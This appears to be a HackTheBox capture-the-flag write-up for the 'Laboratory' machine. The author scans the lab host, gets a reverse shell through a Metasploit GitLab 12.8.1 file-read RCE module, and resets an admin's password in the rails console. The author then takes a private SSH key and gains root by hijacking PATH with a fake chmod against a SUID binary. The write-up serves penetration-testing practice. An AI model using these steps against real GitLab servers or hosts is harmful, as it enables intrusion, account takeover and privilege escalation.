> For the complete documentation index, see [llms.txt](https://rouvin.gitbook.io/ibreakstuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rouvin.gitbook.io/ibreakstuff/writeups/hackthebox/easy/laboratory.md).
# Laboratory
## Gaining Access
Nmap scan:
```
$ nmap -p- --min-rate 5000 10.129.78.175
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-29 17:18 +08
Nmap scan report for 10.129.78.175
Host is up (0.043s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
```
We have to add `laboratory.htb` to our `/etc/hosts` file to access the web ports.
### Laboratory -> Gitlab RCE
The website is some kind of company page for coding services:
The background animated thing is pretty cool honestly. Anyways, this looked pretty static, so I did a subdomain and directory scan on the site, and found one `git` subdomain.
```
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hc=200 -H 'Host: FUZZ.laboratory.htb' -u https://laboratory.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://laboratory.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000262: 302 0 L 5 W 105 Ch "git"
```
When we visit this subdomain, it reveals a GitLab instance.
When trying to create a user, it appears we have to have a specific email domain being used.
Using `laboratory.htb` works as the email domain, then we can view the dashbaord:
Interestingly, this was running GitLab 12.8.1, which is an outdated version of the software.
This version is vulnerable to an LFI.
{% embed url="" %}
It was also vulnerable to RCE exploits.
{% embed url="" %}
There was a Metasploit module for it, which I honestly wanted to try and it works!
```
msf6 exploit(multi/http/gitlab_file_read_rce) > exploit
[*] Started reverse TCP handler on 10.10.14.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Logged in to user test123
[*] Created project /test123/7fc8Znm1
[*] Created project /test123/QoNdBDpL
[*] Created issue /test123/7fc8Znm1/issues/1
[*] Executing arbitrary file load
[+] File saved as: '/home/kali/.msf4/loot/20230629173041_default_10.129.78.175_gitlab.secrets_009016.txt'
[+] Extracted secret_key_base 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
[*] NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read
[*] Attempting to delete project /test123/7fc8Znm1
[*] Deleted project /test123/7fc8Znm1
[*] Attempting to delete project /test123/QoNdBDpL
[*] Deleted project /test123/QoNdBDpL
[*] Command shell session 1 opened (10.10.14.42:4444 -> 10.129.78.175:37260) at 2023-06-29 17:30:50 +0800
id
uid=998(git) gid=998(git) groups=998(git)
```
I only wanted to use this because I was lazy to set up the Docker containers required for the exploit.
{% embed url="" %}
## Privilege Escalation
### GitLab Rails -> SSH Key
This shell was spawned within a container, and there weren't any users in the `home` directory.
```
git@git:/home$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Apr 12 2016 .
drwxr-xr-x 1 root root 4096 Jul 2 2020 ..
```
Within the home directory of the `git` user, there were loads of Gitlab related files:
```
git@git:~$ ls -la
total 96
drwxr-xr-x 20 root root 4096 Jun 29 09:16 .
drwxr-xr-x 1 root root 4096 Feb 24 2020 ..
drwxr-xr-x 2 git git 4096 Jul 2 2020 .bundle
-rw-r--r-- 1 git git 367 Jul 2 2020 .gitconfig
drwx------ 2 git git 4096 Jul 2 2020 .ssh
drwxr-x--- 3 gitlab-prometheus root 4096 Jun 29 09:16 alertmanager
drwx------ 2 git root 4096 Jul 2 2020 backups
-rw------- 1 root root 38 Jul 2 2020 bootstrapped
drwx------ 3 git root 4096 Jul 2 2020 git-data
drwx------ 3 git root 4096 Jun 29 09:16 gitaly
drwxr-xr-x 3 git root 4096 Jul 2 2020 gitlab-ci
drwxr-xr-x 2 git root 4096 Jun 29 09:16 gitlab-exporter
drwxr-xr-x 9 git root 4096 Jun 29 09:16 gitlab-rails
drwx------ 2 git root 4096 Jun 29 09:16 gitlab-shell
drwxr-x--- 2 git gitlab-www 4096 Jun 29 09:16 gitlab-workhorse
drwx------ 4 gitlab-prometheus root 4096 Oct 20 2020 grafana
drwx------ 3 root root 4096 Jun 29 09:26 logrotate
drwxr-x--- 9 root gitlab-www 4096 Jun 29 09:16 nginx
drwx------ 2 gitlab-psql root 4096 Jun 29 09:16 postgres-exporter
drwxr-xr-x 3 gitlab-psql root 4096 Jun 29 09:16 postgresql
drwxr-x--- 4 gitlab-prometheus root 4096 Jun 29 09:16 prometheus
-rw-r--r-- 1 root root 226 Jun 29 09:16 public_attributes.json
drwxr-x--- 2 gitlab-redis git 4096 Jun 29 09:31 redis
-rw-r--r-- 1 root root 40 Jul 2 2020 trusted-certs-directory-hash
```
The main thing I was looking for was credentials to any other users on the Gitlab instance, since they may have interesting files to look at. I googled more about password for Gitlab, and found methods to reset the user's password.
{% embed url="" %}
The documentation states that need to start a rails console, which we can do using `gitlab-rails console`.
```
git@git:/$ gitlab-rails console
--------------------------------------------------------------------------------
GitLab: 12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL: 10.12
--------------------------------------------------------------------------------
```
We can start some basic enumeration by first finding the administrators:
```
irb(main):002:0> User.admins
User.admins
=> #]>
```
Then, we can actually reset the password of `dexter`.
```
irb(main):005:0> user = User.find_by_username 'dexter'
user = User.find_by_username 'dexter'
=> #
irb(main):006:0> new_password = 'Password@123'
new_password = 'Password@123'
=> "Password@123"
irb(main):007:0> user.password = new_password
user.password = new_password
=> "Password@123"
irb(main):008:0> user.password_confirmation = new_password
user.password_confirmation = new_password
=> "Password@123"
irb(main):010:0> user.save!
user.save
Enqueued ActionMailer::DeliveryJob (Job ID: b987cd5d-e2e4-4558-a5ed-31339c1046f4) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #>
```
Afterwards, we can sign in as `dexter` and view his projects:
'Some personal stuff' in the SecureDocker project. Turns out that refers to his private SSH key that was left on the project!
Using this, we can `ssh` in as the user and grab the user flag:
### Ghidra -> SUID Exploit
I ran a `linpeas.sh` scan on the machine and found some interesting SUID binaries:
```
════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
[+] SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root dexter 17K Aug 28 2020 /usr/local/bin/docker-security
-rwsr-xr-x 1 root root 163K Jan 19 2021 /usr/bin/sudo
```
The `docker-security` one looks like the intended exploit path. When run, this binary does nothing:
```
dexter@laboratory:/$ /usr/local/bin/docker-security
dexter@laboratory:/$
```
I downloaded a copy of this binary to my Kali machine because it looks custom and I could not find any other software online matching this. Then, I opened up a copy in Ghidra. The program is really simple:
The funny thing is that the binary is using the full path for the target file, but `chmod` itself doesn't have the full path specified. All we have to do is create an program that is called `chmod` which executes a command as `root`:
```
dexter@laboratory:/tmp$ echo '/bin/bash' > chmod
dexter@laboratory:/tmp$ chmod 777 /tmp/chmod
dexter@laboratory:/tmp$ export PATH=/tmp:$PATH
```
Then, we can just run `docker-security` to get a `root` shell:
Rooted!